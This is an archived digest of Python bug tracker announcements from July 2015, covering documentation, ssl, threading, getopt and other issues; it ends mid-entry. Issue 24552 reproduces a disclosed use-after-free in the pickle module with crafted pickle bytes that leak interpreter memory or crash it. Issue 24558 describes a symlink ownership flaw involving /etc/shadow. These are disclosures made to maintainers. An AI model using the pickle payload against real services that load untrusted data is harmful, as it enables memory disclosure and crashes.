From report at bugs.python.org  Wed Jul  1 03:42:28 2015
From: report at bugs.python.org (Martin Panter)
Date: Wed, 01 Jul 2015 01:42:28 +0000
Subject: [New-bugs-announce] [issue24541] test_eightteen() in test_inspect
 out of sync with documentation
Message-ID: <1435714948.75.0.931424341037.issue24541@psf.upfronthosting.co.za>


New submission from Martin Panter:

Revision 0b7c313851ca highlights an inconsistency in the test case at the top of the TestPredicates class. After removing isawaitable() in Issue 24400, there are now actually eighteen is* functions. The comment in the test case still says there are sixteen (from before the two iscoroutine* functions were added), and so does the documentation it references: ?The sixteen functions whose names begin with ?is? ? <https://docs.python.org/3.5/library/inspect.html#types-and-members>. The quick fix is to change all the numbers to eighteen.

But maybe a better fix is to drop it all and rewrite the documentation to just say ?The functions whose names begin with ?is? are mainly provided . . .?.

----------
assignee: docs at python
components: Documentation, Tests
messages: 246012
nosy: docs at python, vadmium
priority: normal
severity: normal
status: open
title: test_eightteen() in test_inspect out of sync with documentation
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24541>
_______________________________________

From report at bugs.python.org  Wed Jul  1 04:29:38 2015
From: report at bugs.python.org (Samuel Hoffman)
Date: Wed, 01 Jul 2015 02:29:38 +0000
Subject: [New-bugs-announce] [issue24542] ssl - SSL_OP_NO_TICKET not
	reimplemented
Message-ID: <1435717778.85.0.15364958143.issue24542@psf.upfronthosting.co.za>


New submission from Samuel Hoffman:

Realizing the _ssl module does not import very many constants, I think it might be worth while to reimplement and document SSL_OP_NO_TICKET (0x00004000) as it's another one of the "enable this for improved security at a cost" options like SSL_OP_SINGLE_DH_USE and SSL_OP_SINGLE_ECDH_USE. 

This appears to effect Python 2.7+.

----------
components: Extension Modules, Library (Lib)
messages: 246022
nosy: alex, christian.heimes, dstufft, giampaolo.rodola, janssen, miniCruzer, pitrou
priority: normal
severity: normal
status: open
title: ssl - SSL_OP_NO_TICKET not reimplemented
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24542>
_______________________________________

From report at bugs.python.org  Wed Jul  1 12:41:14 2015
From: report at bugs.python.org (marxin)
Date: Wed, 01 Jul 2015 10:41:14 +0000
Subject: [New-bugs-announce] [issue24543] Configure script wrongly detects
 mc68881 with -flto option passed
Message-ID: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za>


New submission from marxin:

I've just tried to build Python with {C,CXX,LD}FLAGS set to '-flto'.

Unfortunately following conftest source file is fragile:

cat /tmp/mc.c
int
main ()
{

  unsigned int fpcr;
  __asm__ __volatile__ ("fmove.l %%fpcr,%0" : "=g" (fpcr));
  __asm__ __volatile__ ("fmove.l %0,%%fpcr" : : "g" (fpcr));

  ;
  return 0;
}

gcc --version:
gcc (GCC) 5.1.1 20150424 (prerelease)

gcc -c /tmp/mc.c
/tmp/mc.c: Assembler messages:
/tmp/mc.c:6: Error: no such instruction: `fmove.l %fpcr,%eax'
/tmp/mc.c:7: Error: no such instruction: `fmove.l -4(%rbp),%fpcr'

gcc -flto -c /tmp/mc.c

As GCC does not produce assembly with -flto and -c (unless you append -ffat-lto-objects), the compilation success.

Can you please write more robust configuration.
Thanks,
Martin

----------
messages: 246034
nosy: mliska at suse.cz
priority: normal
severity: normal
status: open
title: Configure script wrongly detects mc68881 with -flto option passed
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24543>
_______________________________________

From report at bugs.python.org  Wed Jul  1 15:05:29 2015
From: report at bugs.python.org (Oleksiy Markovets)
Date: Wed, 01 Jul 2015 13:05:29 +0000
Subject: [New-bugs-announce] [issue24544] Race condition and crash when
 embedding multi-thread script
Message-ID: <1435755929.77.0.966691943035.issue24544@psf.upfronthosting.co.za>


New submission from Oleksiy Markovets:

INTRODUCTION

While embedding python script in c++ application I faced random crashes 
with error:

Fatal Python error: Py_EndInterpreter: not the last thread                                                                                                                                                                                                                     
 Aborted  

Even though I explicitly join each thread created with *threading* 
module. Please see attachment, this is simplest python script +
c++ code which demonstrates problem.

By using threading.setprofiler I was able to make problem appear each run.
If you uncomment  time.sleep(1) problem won't reproduce.

Note:
In main.cpp I manually create separate interpreter because in real-life
application is multi-threaded and different thread uses different interpreters
for at least some sand-boxing.

INVESTIGATION

I did some investigation, and here is what I found out:

* Each new thread is started by calling *thread_PyThread_start_new_thread* from threadmodule.c.
Basically this function creates new thread which executes *t_bootstrap* and adds this
thread to interpreter's thread list.

* *t_bootstrap* executes python function *Thread.__bootstrap* and when it's done, removes
thread from interpreter's thread list.

* *Thread.__bootstrap* runs *Thread.run()* (actually python code which should be executed
in separate thread) and when it's done calls *Thread.__stop* (which by mean of condition
variable sets Boolean flag Thread.__stopped)

* *Thread.join* doesn't wait thread to exit, it only waits for *Thread.__stopped* flag
to be set.


So here is race condition:
When main thread finished *Thread.join* it's only guaranteed that *Thread.run*
is finished, but *t_bootstrap* still may be running (interpreter's thread list
is not cleared).

POSSIBLE SOLUTION

To call Thread.__stop from *t_bootstrap* (instead of Thread.__bootstrap) after
removing thread from interpreter's thread list.

Or do not use detached threads and call something like *pthread_join* in *Thread.join*.
Which is IMHO much clearer approach but also requires much more efforts.

----------
components: Extension Modules
files: main.cpp
messages: 246035
nosy: Oleksiy Markovets
priority: normal
severity: normal
status: open
title: Race condition and crash when embedding multi-thread script
type: crash
versions: Python 2.7
Added file: http://bugs.python.org/file39840/main.cpp

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24544>
_______________________________________

From report at bugs.python.org  Wed Jul  1 15:40:52 2015
From: report at bugs.python.org (Kayne)
Date: Wed, 01 Jul 2015 13:40:52 +0000
Subject: [New-bugs-announce] [issue24545] Issue with ssl package
Message-ID: <1435758052.81.0.552827758193.issue24545@psf.upfronthosting.co.za>


New submission from Kayne:

I tried to use cert = ssl.get_server_certificate((XXXX, 443)) and it crashed with following error:

Traceback (most recent call last):
  File "PeerCertChainQuery.py", line 107, in <module>
    cert = ssl.get_server_certificate((options.host, 443))
  File "/opt/lib/python2.7/ssl.py", line 965, in get_server_certificate
    with closing(context.wrap_socket(sock)) as sslsock:
  File "/opt/lib/python2.7/ssl.py", line 350, in wrap_socket
    _context=self)
  File "/opt/lib/python2.7/ssl.py", line 566, in __init__
    self.do_handshake()
  File "/opt/lib/python2.7/ssl.py", line 788, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:581)

Note that the configuration of apache server on the host XXXX has disabled ssl3 support and it only supports TLSV1, TLVS1.1, AND TLSV1.3.

This also happened on Python 3.4.3. 

    Much appreciated if you could have a look at what happened or suggest me how to get around this.

----------
components: Library (Lib)
messages: 246037
nosy: kxl561
priority: normal
severity: normal
status: open
title: Issue with ssl package
type: crash
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24545>
_______________________________________

From report at bugs.python.org  Wed Jul  1 18:06:30 2015
From: report at bugs.python.org (Serge Anuchin)
Date: Wed, 01 Jul 2015 16:06:30 +0000
Subject: [New-bugs-announce] [issue24546] sequence index bug in random.choice
Message-ID: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za>


New submission from Serge Anuchin:

It seems there is minor bug in random.choice.

I've got traceback from my server with IndexError from random.choice, but sequence wasn't empty (seq value was: u'\u0411\u0413\u0414\u0416\u0418\u041b\u0426\u042b\u042d\
u042e\u042f\u0410\u0412\u0415\u041a\u041c\u0420\u0422\
u042312456789')

Maybe I mistaken, but only explanation that I have for this exception is rounding by int() of random value that was very close to 1.

TL;RD:
>>> int(0.99999999999999995)
1
>>> seq = 'test'
>>> seq[int(0.99999999999999995 * len(seq))] # logic from random.choice
IndexError: string index out of range

Is it plausible explanation of exception or I'am wrong?

----------
components: Library (Lib)
messages: 246038
nosy: Serge Anuchin, mark.dickinson, rhettinger
priority: normal
severity: normal
status: open
title: sequence index bug in random.choice
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24546>
_______________________________________

From report at bugs.python.org  Wed Jul  1 20:57:56 2015
From: report at bugs.python.org (Jakub Wilk)
Date: Wed, 01 Jul 2015 18:57:56 +0000
Subject: [New-bugs-announce] =?utf-8?q?=5Bissue24547=5D_What=E2=80=99s_New?=
 =?utf-8?q?_In_Python_3=2E4=3A_stray_=22=28=22?=
Message-ID: <1435777076.04.0.84284757159.issue24547@psf.upfronthosting.co.za>


New submission from Jakub Wilk:

https://docs.python.org/3/whatsnew/3.4.html#multiprocessing reads:
"On Unix two new start methods, (spawn and forkserver, have been added for starting processes using multiprocessing."

This stray "(" should be removed.

----------
assignee: docs at python
components: Documentation
messages: 246043
nosy: docs at python, jwilk
priority: normal
severity: normal
status: open
title: What?s New In Python 3.4: stray "("

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24547>
_______________________________________

From report at bugs.python.org  Wed Jul  1 21:08:30 2015
From: report at bugs.python.org (Dmitry Kazakov)
Date: Wed, 01 Jul 2015 19:08:30 +0000
Subject: [New-bugs-announce] [issue24548] Broken link in the unittest
	documentation
Message-ID: <1435777710.4.0.98470331082.issue24548@psf.upfronthosting.co.za>


New submission from Dmitry Kazakov:

The "Simple Smalltalk Testing: With Patterns" link from https://docs.python.org/3.5/library/unittest.html is dead. I found 2 "mirrors" but I don't think any of them should replace the broken link.

1. http://testingsoftware.blogspot.com/2007/08/smalltalk-testing-with-patterns.html (ads and spam in comments)

2. http://live.exept.de/doc/online/english/tools/misc/testfram.htm (image link is broken)

----------
assignee: docs at python
components: Documentation
messages: 246044
nosy: docs at python, wau
priority: normal
severity: normal
status: open
title: Broken link in the unittest documentation
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24548>
_______________________________________

From report at bugs.python.org  Wed Jul  1 22:42:29 2015
From: report at bugs.python.org (azrdev)
Date: Wed, 01 Jul 2015 20:42:29 +0000
Subject: [New-bugs-announce] [issue24549] string.format() should have a
 safe_substitute equivalent, to be run consecutively
Message-ID: <1435783349.65.0.381555612902.issue24549@psf.upfronthosting.co.za>


New submission from azrdev:

"{1} {0}".format('one').format('two')

should return "two one", but throws

    IndexError: tuple index out of range


This would allow partial replacements, similar to string.Template.safe_substitute()
I suggest an analog construction (e.g. a method string.safe_format() )

----------
components: Library (Lib)
messages: 246047
nosy: azrdev
priority: normal
severity: normal
status: open
title: string.format() should have a safe_substitute equivalent, to be run consecutively
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24549>
_______________________________________

From report at bugs.python.org  Thu Jul  2 07:27:49 2015
From: report at bugs.python.org (Brian Mingus)
Date: Thu, 02 Jul 2015 05:27:49 +0000
Subject: [New-bugs-announce] [issue24550] maxint on 64 bit platforms breaks
	os.read
Message-ID: <1435814869.69.0.586441983811.issue24550@psf.upfronthosting.co.za>


New submission from Brian Mingus:

The lower range for this bug may be anything greater than 32 bit maxint. Other modules such as multiprocessing are limited passing objects of size 32 bit maxint, even on 64 bit systems, likely due to this issue. I have demonstrated this by modifying multiprocessing/connection.py to use longs in send and recv, which it surfaces the following error (note that read is os.read).

Traceback (most recent call last):
  File "/usr/lib/python3.4/multiprocessing/process.py", line 254, in _bootstrap
    self.run()
  File "/usr/lib/python3.4/multiprocessing/process.py", line 93, in run
    self._target(*self._args, **self._kwargs)
  File "/usr/lib/python3.4/multiprocessing/pool.py", line 103, in worker
    initializer(*initargs)
  File "/usr/local/lib/python3.4/dist-packages/gensim-0.11.1_1-py3.4-linux-x86_64.egg/gensim/models/ldamulticore.py", line 266, in worker_e_step
    chunk_no, chunk, worker_lda = input_queue.get()
  File "/usr/lib/python3.4/multiprocessing/queues.py", line 96, in get
    res = self._recv_bytes()
  File "/usr/lib/python3.4/multiprocessing/connection.py", line 216, in recv_bytes
    buf = self._recv_bytes(maxlength)
  File "/usr/lib/python3.4/multiprocessing/connection.py", line 420, in _recv_bytes
    return self._recv(size)
  File "/usr/lib/python3.4/multiprocessing/connection.py", line 383, in _recv
    chunk = read(handle, remaining)
OverflowError: signed integer is greater than maximum


Which can be traced back to this cpython code:

https://github.com/python/cpython/blob/3.4/Modules/posixmodule.c#L8048-L8065

----------
components: IO
messages: 246063
nosy: Brian Mingus
priority: normal
severity: normal
status: open
title: maxint on 64 bit platforms breaks os.read
type: enhancement
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24550>
_______________________________________

From report at bugs.python.org  Thu Jul  2 18:05:38 2015
From: report at bugs.python.org (Padmanabhan Tr)
Date: Thu, 02 Jul 2015 16:05:38 +0000
Subject: [New-bugs-announce] [issue24551] byte conversion
Message-ID: <1435853138.23.0.743955688437.issue24551@psf.upfronthosting.co.za>


Changes by Padmanabhan Tr <trpuma at yahoo.com>:


----------
nosy: Padmanabhan.Tr
priority: normal
severity: normal
status: open
title: byte conversion
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24551>
_______________________________________

From report at bugs.python.org  Thu Jul  2 23:17:46 2015
From: report at bugs.python.org (Benjamin Peterson)
Date: Thu, 02 Jul 2015 21:17:46 +0000
Subject: [New-bugs-announce] [issue24552] use after free in load_newobj_ex
Message-ID: <1435871866.78.0.724448815208.issue24552@psf.upfronthosting.co.za>


New submission from Benjamin Peterson:

>From Kurucsai Istvan on the security list:

I. Summary

There is a use-after-free in the load_newobj_ex function in _pickle.c that results in an arbitrary read.


II. Source code

The functions in question:
static int
load_newobj_ex(UnpicklerObject *self)
{
    PyObject *cls, *args, *kwargs;
    PyObject *obj;
    PickleState *st = _Pickle_GetGlobalState();

    PDATA_POP(self->stack, kwargs);
    if (kwargs == NULL) {
        return -1;
    }
    PDATA_POP(self->stack, args);
    if (args == NULL) {
        Py_DECREF(kwargs);
        return -1;
    }
    PDATA_POP(self->stack, cls);
    if (cls == NULL) {
        Py_DECREF(kwargs);
        Py_DECREF(args);
        return -1;
    }

1.  if (!PyType_Check(cls)) {
        Py_DECREF(kwargs);
        Py_DECREF(args);
2.      Py_DECREF(cls);
        PyErr_Format(st->UnpicklingError,
                     "NEWOBJ_EX class argument must be a type, not %.200s",
3.                   Py_TYPE(cls)->tp_name);
        return -1;
    }

1. if cls is not a type object.
2. cls and its type object are freed.
3. Py_TYPE(cls)->tp_name is controlled after the free due to Python memory management internals, allowing arbitrary memory addresses to be leaked in the exception text.


III. Proof of concept

The following PoC demonstrates the bug by leaking the beginning of the ELF header of the python binary by using the following pickle:
    0: F    FLOAT      -17.0
    5: G    BINFLOAT   4.850517136297445e-270
   14: \x8a LONG1      -19433009197182618361932444855909718650799116435779157138706600511804357054621081254113158779140316034172772336611031765078550355689018943570873089549265771354179136777133140299700701757440
   94: \x92 NEWOBJ_EX
   95: .    STOP
highest protocol among opcodes = 4

root at tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# cat /opt/newobj_ex.py 
import pickle
b = b"\x46\x2D\x31\x37\x0A\x47"
# read address, beginning of the ELF header of the python binary
b += b"\x08\x04\x80\x00"
b +=  b"\xE0\xFC\xBD\x8D\x8A\x4E\x00\x00\x00\x77\x55\x73\x41\xDE\x8D\xEA\x43\xDD\xB9\xDE\x10\xAE\x84\xAE\x15\x69\x3C\x9A\x34\x9C\x1B\x06\xE9\x68\x84\x5E\x3E\x74\x55\x55\x01\x5F\x65\x2E\x93\x83\x2D\x14\x36\x40\xA9\xEA\xAD\xFE\x77\x2D\x0F\x37\x8F\xE2\xFB\x18\xD6\x89\xDC\x75\x53\xB3\x15\xF1\x56\x17\x2F\x21\x78\x02\x7A\xBB\x95\x7B\x82\x40\x8A\xB8\x92."
pickle.loads(b)
root at tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# file python
python: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=e1a1b72a0e3093b61de9de9bb58b3ca031aeb9b6, not stripped
root at tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# ./python
Python 3.6.0a0 (default, Jun 29 2015, 22:03:19) 
[GCC 4.8.2] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 
root at tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# ./python /opt/newobj_ex.py 
Traceback (most recent call last):
  File "/opt/newobj_ex.py", line 4, in <module>
    pickle.loads(b)
_pickle.UnpicklingError: NEWOBJ_EX class argument must be a type, not ELF
root at tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# 


By changing the read address, a segfault can be triggered:

root at tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# cat /opt/newobj_ex_crash.py 
import pickle
b = b"\x46\x2D\x31\x37\x0A\x47"
# read address
b += b"\x41\x41\x41\x41"
b +=b"\xE0\xFC\xBD\x8D\x8A\x4E\x00\x00\x00\x77\x55\x73\x41\xDE\x8D\xEA\x43\xDD\xB9\xDE\x10\xAE\x84\xAE\x15\x69\x3C\x9A\x34\x9C\x1B\x06\xE9\x68\x84\x5E\x3E\x74\x55\x55\x01\x5F\x65\x2E\x93\x83\x2D\x14\x36\x40\xA9\xEA\xAD\xFE\x77\x2D\x0F\x37\x8F\xE2\xFB\x18\xD6\x89\xDC\x75\x53\xB3\x15\xF1\x56\x17\x2F\x21\x78\x02\x7A\xBB\x95\x7B\x82\x40\x8A\xB8\x92."
pickle.loads(b)
root at tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# gdb --silent ./python                            
Reading symbols from ./python...done.
(gdb) r /opt/newobj_ex_crash.py 
Starting program: /opt/cpython/cpython-d792dc240456-150629/python /opt/newobj_ex_crash.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x081431dd in unicode_fromformat_write_cstr (writer=writer at entry=0xffffd11c, str=0x41414141 <error: Cannot access memory at address 0x41414141>, width=width at entry=-1, precision=precision at entry=200) at Objects/unicodeobject.c:2368
2368	    length = strlen(str);
(gdb) bt
#0  0x081431dd in unicode_fromformat_write_cstr (writer=writer at entry=0xffffd11c, str=0x41414141 <error: Cannot access memory at address 0x41414141>, width=width at entry=-1, precision=precision at entry=200) at Objects/unicodeobject.c:2368
#1  0x08143a2a in unicode_fromformat_arg (writer=writer at entry=0xffffd11c, f=0xf7b9f632 "s", f at entry=0xf7b9f62d "%.200s", vargs=vargs at entry=0xffffd118) at Objects/unicodeobject.c:2583
#2  0x08144018 in PyUnicode_FromFormatV (format=<optimized out>, format at entry=0xf7b9f600 "NEWOBJ_EX class argument must be a type, not %.200s", vargs=vargs at entry=0xffffd198 "AAAA/T\271\367~(\312\367\310\025\321\367\270H=\b\001")
    at Objects/unicodeobject.c:2701
#3  0x0819badc in PyErr_FormatV (exception=exception at entry=<type at remote 0xf7bdfd8c>, format=format at entry=0xf7b9f600 "NEWOBJ_EX class argument must be a type, not %.200s", 
    vargs=vargs at entry=0xffffd198 "AAAA/T\271\367~(\312\367\310\025\321\367\270H=\b\001") at Python/errors.c:785
#4  0x0819b289 in PyErr_Format (exception=<type at remote 0xf7bdfd8c>, format=format at entry=0xf7b9f600 "NEWOBJ_EX class argument must be a type, not %.200s") at Python/errors.c:802
#5  0xf7b9c4cb in load_newobj_ex (self=self at entry=0xf7c74424) at /opt/cpython/cpython-d792dc240456-150629/Modules/_pickle.c:5283
#6  0xf7b9d48c in load (self=self at entry=0xf7c74424) at /opt/cpython/cpython-d792dc240456-150629/Modules/_pickle.c:6186
#7  0xf7b9d809 in _pickle_loads_impl (module=module at entry=0xf7be22f4, 
    data=b'F-17\nGAAAA\xe0\xfc\xbd\x8d\x8aN\x00\x00\x00wUsA\xde\x8d\xeaC\xdd\xb9\xde\x10\xae\x84\xae\x15i<\x9a4\x9c\x1b\x06\xe9h\x84^>tUU\x01_e.\x93\x83-\x146@\xa9\xea\xad\xfew-\x0f7\x8f\xe2\xfb\x18\xd6\x89\xdcuS\xb3\x15\xf1V\x17/!x\x02z\xbb\x95{\x82@\x8a\xb8\x92.', fix_imports=1, encoding=0xf7b9fa42 "ASCII", errors=0xf7b9fa48 "strict") at /opt/cpython/cpython-d792dc240456-150629/Modules/_pickle.c:7132
#8  0xf7b9d955 in _pickle_loads (module=module at entry=0xf7be22f4, 
    args=args at entry=(b'F-17\nGAAAA\xe0\xfc\xbd\x8d\x8aN\x00\x00\x00wUsA\xde\x8d\xeaC\xdd\xb9\xde\x10\xae\x84\xae\x15i<\x9a4\x9c\x1b\x06\xe9h\x84^>tUU\x01_e.\x93\x83-\x146@\xa9\xea\xad\xfew-\x0f7\x8f\xe2\xfb\x18\xd6\x89\xdcuS\xb3\x15\xf1V\x17/!x\x02z\xbb\x95{\x82@\x8a\xb8\x92.',), kwargs=kwargs at entry=0x0) at /opt/cpython/cpython-d792dc240456-150629/Modules/clinic/_pickle.c.h:543
<<SNIP>>

----------
components: Extension Modules
messages: 246098
nosy: benjamin.peterson
priority: critical
severity: normal
status: open
title: use after free in load_newobj_ex
type: crash
versions: Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24552>
_______________________________________

From report at bugs.python.org  Fri Jul  3 02:30:03 2015
From: report at bugs.python.org (Eric Snow)
Date: Fri, 03 Jul 2015 00:30:03 +0000
Subject: [New-bugs-announce] [issue24553] improve test coverage for
	subinterpreters
Message-ID: <1435883403.8.0.344718256458.issue24553@psf.upfronthosting.co.za>


New submission from Eric Snow:

We do very little testing of subinterpreters in CPython.  About all I'm aware of is in test_tracemalloc.  I'll be working on improving test coverage as a precursor to fixing some existing bugs.

----------
components: Tests
messages: 246107
nosy: eric.snow, ncoghlan
priority: normal
severity: normal
stage: test needed
status: open
title: improve test coverage for subinterpreters
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24553>
_______________________________________

From report at bugs.python.org  Fri Jul  3 02:41:17 2015
From: report at bugs.python.org (Eric Snow)
Date: Fri, 03 Jul 2015 00:41:17 +0000
Subject: [New-bugs-announce] [issue24554] GC should happen when a
	subinterpreter is destroyed
Message-ID: <1435884077.54.0.517018915499.issue24554@psf.upfronthosting.co.za>


New submission from Eric Snow:

Per A. Jesse Jiryu Davis:

===========================
# mod.py
class C(object):
    pass

class Pool(object):
    def __del__(self):
        print('del')
        list()

C.pool = Pool()
===========================

===========================

int main()
{
    Py_Initialize();
    PyThreadState *tstate_enter = PyThreadState_Get();
    PyThreadState *tstate = Py_NewInterpreter();

    PyRun_SimpleString("import mod\n");
    if (PyErr_Occurred()) {
        PyErr_Print();
    }
    Py_EndInterpreter(tstate);
    PyThreadState_Swap(tstate_enter);
    printf("about to finalize\n");
    Py_Finalize();
    printf("done\n");

    return 0;
}
===========================

See:
http://emptysqua.re/blog/a-normal-accident-in-python-and-mod-wsgi/
https://github.com/GrahamDumpleton/mod_wsgi/issues/43

----------
components: Interpreter Core
messages: 246110
nosy: emptysquare, eric.snow, grahamd, ncoghlan
priority: normal
severity: normal
stage: test needed
status: open
title: GC should happen when a subinterpreter is destroyed
type: behavior
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24554>
_______________________________________

From report at bugs.python.org  Fri Jul  3 08:20:15 2015
From: report at bugs.python.org (bee13oy)
Date: Fri, 03 Jul 2015 06:20:15 +0000
Subject: [New-bugs-announce] [issue24555] Python logic error when deal with
	re and muti-threading
Message-ID: <1435904415.54.0.666966497229.issue24555@psf.upfronthosting.co.za>


New submission from bee13oy:

Bug 0x01 is the main problem.

t.start()
t.join(timeout)
In normal case, I run a while() in sub-thread, the main thread will get the control of the program after the sub-thread is timed out.
But, in our POC, even the sub-thread timed out, the main thread still can't execute continue. After analyzing, I found the main thread trapped into an infinite loop like I described in the PDF.

----------
components: Regular Expressions
files: python_logic_error.pdf
messages: 246138
nosy: bee13oy, ezio.melotti, mrabarnett
priority: normal
severity: normal
status: open
title: Python logic error when deal with re and muti-threading
type: behavior
versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5
Added file: http://bugs.python.org/file39850/python_logic_error.pdf

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24555>
_______________________________________

From report at bugs.python.org  Fri Jul  3 11:32:15 2015
From: report at bugs.python.org (Jak)
Date: Fri, 03 Jul 2015 09:32:15 +0000
Subject: [New-bugs-announce] [issue24556] Getopt overwrites variables
	unexpectedly
Message-ID: <1435915935.53.0.130423360276.issue24556@psf.upfronthosting.co.za>


New submission from Jak:

The getopt library has, what I assume is, some unexpected behaviour when adding extra text to command line parameter that getopt expects as a flag.

Using input parameters a, b and c as an example below, where a and b both take values and c is a flag.

Example code:
options, remainders = getopt.getopt(sys.argv[1:], "a:b:c")

Normal output is given when you supply sensible values for a, b and c:

Input: -a value1 -b value2 -c
Output: [('-a', 'value1'), ('-b', 'value2'), ('-c', '')]

Unexpected output happens when you give extra text after the '-c' that begins with a letter matching that of a previous parameter:

Input -a value1 -b value2 -cbanana
Output: [('-a', 'value1'), ('-b', 'value2'), ('-c', ''), ('-b', 'anana')]

Looping through the output variables, as most example programs do, results in the value for '-b' being over-written.

----------
components: Library (Lib)
messages: 246153
nosy: Jak
priority: normal
severity: normal
status: open
title: Getopt overwrites variables unexpectedly
type: behavior
versions: Python 2.7, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24556>
_______________________________________

From report at bugs.python.org  Fri Jul  3 14:32:31 2015
From: report at bugs.python.org (Bernard Spil)
Date: Fri, 03 Jul 2015 12:32:31 +0000
Subject: [New-bugs-announce] [issue24557] Refactor LibreSSL / EGD detection
Message-ID: <1435926751.49.0.18395819216.issue24557@psf.upfronthosting.co.za>


New submission from Bernard Spil:

LibreSSL added a define OPENSSL_NO_EGD to their headers in version 2.2.0 in line with the defines of the other removed features.

These patches remove detection of RAND_egd from configure and replace the detection in the source code.

----------
messages: 246169
nosy: spil
priority: normal
severity: normal
status: open
title: Refactor LibreSSL / EGD detection
type: enhancement
versions: Python 2.7, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24557>
_______________________________________

From report at bugs.python.org  Fri Jul  3 14:41:25 2015
From: report at bugs.python.org (SpaceOne)
Date: Fri, 03 Jul 2015 12:41:25 +0000
Subject: [New-bugs-announce] [issue24558] shutil.copytree with symlinks=True
	opens vulnerabilities
Message-ID: <1435927285.75.0.961526406644.issue24558@psf.upfronthosting.co.za>


New submission from SpaceOne:

shutil.copytree(src, dst, symlink=True) destroys file system permissions and open security issues. See the following python/bash session:

# ls -l /etc/shadow
 -rw-r----- 1 root shadow 1114 May  8 19:10 /etc/shadow
# su foobar
$ ln -s /etc/shadow && exit
# python -c '__import__("shutil").copytree('/home/', '/backups/home', symlinks=True)
# ls -l /etc/shadow
-rw-r----- 1 foobar Domain Users 1114 Mai  8 19:10 /etc/shadow

As you can see the file "/etc/shadow" is now owned by the user "foobar" and its primary group.

----------
components: Distutils
messages: 246170
nosy: dstufft, eric.araujo, spaceone
priority: normal
severity: normal
status: open
title: shutil.copytree with symlinks=True opens vulnerabilities
type: security

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24558>
_______________________________________

From report at bugs.python.org  Fri Jul  3 15:14:51 2015
From: report at bugs.python.org (Gino Lee)
Date: Fri, 03 Jul 2015 13:14:51 +0000
Subject: [New-bugs-announce] [issue24559] online Python docs scroll in a
	godawful ugly fashion
Message-ID: <1435929291.54.0.891103276914.issue24559@psf.upfronthosting.co.za>


New submission from Gino Lee:

Example:
https://docs.python.org/2/library/re.html#

If you start scrolling down, the left panel updates in a horribly jerky and ugly fashion. It's distracting, annoying, and it makes the site look very amateurishly constructed. At the very least, just keep the panel fixed and unmoving -- just let the user scroll it as he/she needs to.

This is on Chrome browser on Mac OSX, but I think I've seen this dysfunctional behavior on other platforms as well.

I am filing this bug here because I was unable to find the place to file documentation related bugs..

----------
messages: 246173
nosy: Gino Lee
priority: normal
severity: normal
status: open
title: online Python docs scroll in a godawful ugly fashion
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24559>
_______________________________________

From report at bugs.python.org  Fri Jul  3 17:12:04 2015
From: report at bugs.python.org (yac)
Date: Fri, 03 Jul 2015 15:12:04 +0000
Subject: [New-bugs-announce] [issue24560] codecs.StreamReader doesn't work
 with nonblocking streams: TypeError: can't concat bytes to NoneType
Message-ID: <1435936324.39.0.622709208254.issue24560@psf.upfronthosting.co.za>


New submission from yac:

File "/usr/lib64/python3.4/codecs.py", line 490, in read
    data = self.bytebuffer + newdata
TypeError: can't concat bytes to NoneType


            if size < 0:
                newdata = self.stream.read()
            else:
                newdata = self.stream.read(size)
            # decode bytes (those remaining from the last call included)
            data = self.bytebuffer + newdata

if self.stream is nonblocking, it's read will return None (py3, py2 raises IOError(EGAIN)).

Simple `if newdata is None: return None` should fix that I guess

----------
components: Unicode
messages: 246186
nosy: ezio.melotti, haypo, yac
priority: normal
severity: normal
status: open
title: codecs.StreamReader doesn't work with nonblocking streams: TypeError: can't concat bytes to NoneType
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24560>
_______________________________________

From report at bugs.python.org  Fri Jul  3 19:47:45 2015
From: report at bugs.python.org (Vitaly Murashev)
Date: Fri, 03 Jul 2015 17:47:45 +0000
Subject: [New-bugs-announce] [issue24561] [VS2013] Py_InitializeEx causes
